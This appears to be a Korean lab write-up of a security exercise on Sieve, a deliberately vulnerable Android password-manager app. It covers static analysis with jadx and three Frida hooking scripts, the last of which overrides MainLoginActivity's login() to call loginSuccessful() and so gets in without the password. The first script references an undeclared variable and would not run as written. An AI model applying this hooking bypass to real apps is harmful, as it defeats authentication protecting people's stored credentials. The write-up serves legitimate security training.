0) 실습 준비
•
어플 설치 후 기본 비밀번호와 핀번호를 설정한다
•
로그인을 진행하면 Your Passwords 화면을 확인할 수 있고 비밀번호를 저장할 수 있다
(각 서비스별 비밀번호를 저장할 수 있는 프로그램으로 보인다)
•
Add new Password 화면에서 test용 데이터를 저장한다
•
정상적으로 등록된 것을 확인
•
'앱 정보' 에서 어플을 강제 종료 후 다시 실행한다
•
다시 어플을 실행하면 설정했던 초기 비밀번호를 입력 후 내가 저장했던 데이터를 확인할 수 있도록 설계되어있음을 확인할 수 있다
1) 정적분석 시작 (jadx-gui)
•
jadx를 이용, 정적분석을 시작한다
•
소스코드 중 로그인과 관련되어 보이는 클래스를 중심으로 분석
2) Hooking 용 .py 파일 작성
•
해당 파일들 분석결과 onCreate() 함수를 통해 각 화면을 구현하고 있는 것으로 추정된다
(아래는 WelcomeActivity의 onCreate 함수)
•
onCreate()를 Hooking 하는 파이썬 파일 생성
•
Hooking 성공 시 onCreate 함수가 변조되어 화면이 구성되지 않을 것이다
•
이점을 이용해 각 클래스가 어떤 화면을 구성하고 있는지 확인한다
import frida, sys
jscode = """
setImmediate(function(){
Java.perform(function() {
console.log("[*] Hooking Start");
var loginBypass = Java.use("com.mwr.example.sieve.ShortLoginActivity");
// WelcomeActivity, MainLoginActivity 도 순차적으로 체크
exitBypass.onCreate.implementation = function() {
console.log("[*] Hooking Success");
}
})
});
"""
device = frida.get_usb_device(1)
process = device.attach("Sieve")
print(process)
script = process.create_script(jscode)
script.load()
sys.stdin.read()
Python
복사
3) 타켓 클래스 선정
3-1) ShortLoginActivity
•
ShortLoginActivity의 경우 비밀번호 설정 후 어플을 껐다 키면, 핀번호만 인증하는 화면으로 접속되는데, 해당 화면 접속이 불가하고 "Hooking Success" 출력을 확인할 수 있었다
3-2) WelcomeActivity
•
WelcomeActivity의 경우에는 어플을 삭제 후 재설치 시 해당 증상이 나타나는 것을 확인할 수 있었음
즉 초기 비밀번호 설정 후 어플 재시작 시 인증을 구현하는 화면은
MainLoginActivity 임을 확인할 수 있다
4) 타겟 클래스 Hooking
•
해당 클래스에서 login을 구현하는 메소드를 분석한다
•
로그인, 로그인 성공, 로그인 실패를 구현하는 메소드를 확인할 수 있었다
•
login 메소드를 Hooking 하여
"Sing in" 버튼을 클릭 시 login 메소드가 동작하는 것을 확인
import frida, sys
jscode = """
setImmediate(function(){
Java.perform(function() {
console.log("[*] Hooking Start");
var loginBypass = Java.use("com.mwr.example.sieve.MainLoginActivity");
loginBypass.login.implementation = function() {
console.log("[*] Hooking Success");
}
})
});
"""
device = frida.get_usb_device(1)
process = device.attach("Sieve")
print(process)
script = process.create_script(jscode)
script.load()
sys.stdin.read()
Python
복사
5) login 메소드 Hooking 을 통한 인증 우회
•
에서 확인했듯, "Sing in" 버튼을 눌렀을 때 login() 함수가 실행되며 최종적으로 loginSuccessful() 이 실행되도록 Hooking 해야함을 알 수 있다
•
login() 함수가 실행되었을 때 loginSuccessful()가 실행될 수 있도록 implementation(재정의) 한다
import frida, sys
jscode = """
setImmediate(function(){
Java.perform(function() {
console.log("[*] Hooking Start");
var loginBypass = Java.use("com.mwr.example.sieve.MainLoginActivity");
loginBypass.login.implementation = function() {
console.log("[*] Hooking Success");
this.loginSuccessful();
}
})
});
"""
device = frida.get_usb_device(1)
process = device.attach("Sieve")
print(process)
script = process.create_script(jscode)
script.load()
sys.stdin.read()
Python
복사
•
해당 파이썬 파일 실행 후 "Sign in" 버튼 클릭 시 비밀번호를 입력하지 않았음에도 내부로 접속할 수 있었다